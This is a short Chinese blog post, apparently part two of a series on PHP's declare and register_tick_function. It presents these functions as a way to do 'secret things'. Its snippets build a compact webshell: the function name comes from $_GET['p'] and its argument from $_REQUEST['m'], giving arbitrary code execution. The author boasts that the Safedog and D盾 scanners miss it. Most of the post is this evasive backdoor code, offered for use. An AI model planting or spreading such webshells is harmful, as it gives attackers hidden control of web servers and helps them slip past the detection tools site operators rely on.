php函数:declare与register_tick_function(二)

袁志蒙 7283次浏览

摘要:昨天已经解释过declare与register_tick_function,那什么时候用到这些呢?今天就来稍微举例说明一下。register_tick_function可以看做一个回调函数,而这个函数...

昨天已经解释过declare与register_tick_function,那什么时候用到这些呢?今天就来稍微举例说明一下。


register_tick_function可以看做一个回调函数,而这个函数却很少人用,我们有些地方可以利用这个函数来做一些秘密的事情~


不懂?怎么可以执行自己想要的函数呢?


简单举例:

<?php
$s = "ss.ss.$_GET[p]";
$c = explode(".",$s);
register_tick_function($c[2]);
declare(ticks = 2);


猜猜上面这段代码能干啥。。。。

显然这个回调函数是由我们来控制的。。。。

这下懂了吧。。。


当然register_tick_function还有第二个参数,就是为该回调的函数传参用的,比如:

<?php
function doticks ($a = ''){
    echo 'ticks<br>';
    echo $a;
}

register_tick_function('doticks', $_GET['p']);

declare(ticks = 2);

执行结果:

注:最最主要的是这些代码 “狗狗” 和 “D盾” 都未发觉。。。。


最后在献上一点代码,朋友们看看这段代码能做什么呢?

<?php
$s = "ss.ss.$_GET[p]";
$c = explode(".",$s);
register_tick_function($c[2], $_REQUEST['m']);
declare(ticks = 2);
随机内容

表情

共0条评论
  • 这篇文章还没有收到评论,赶紧来抢沙发吧~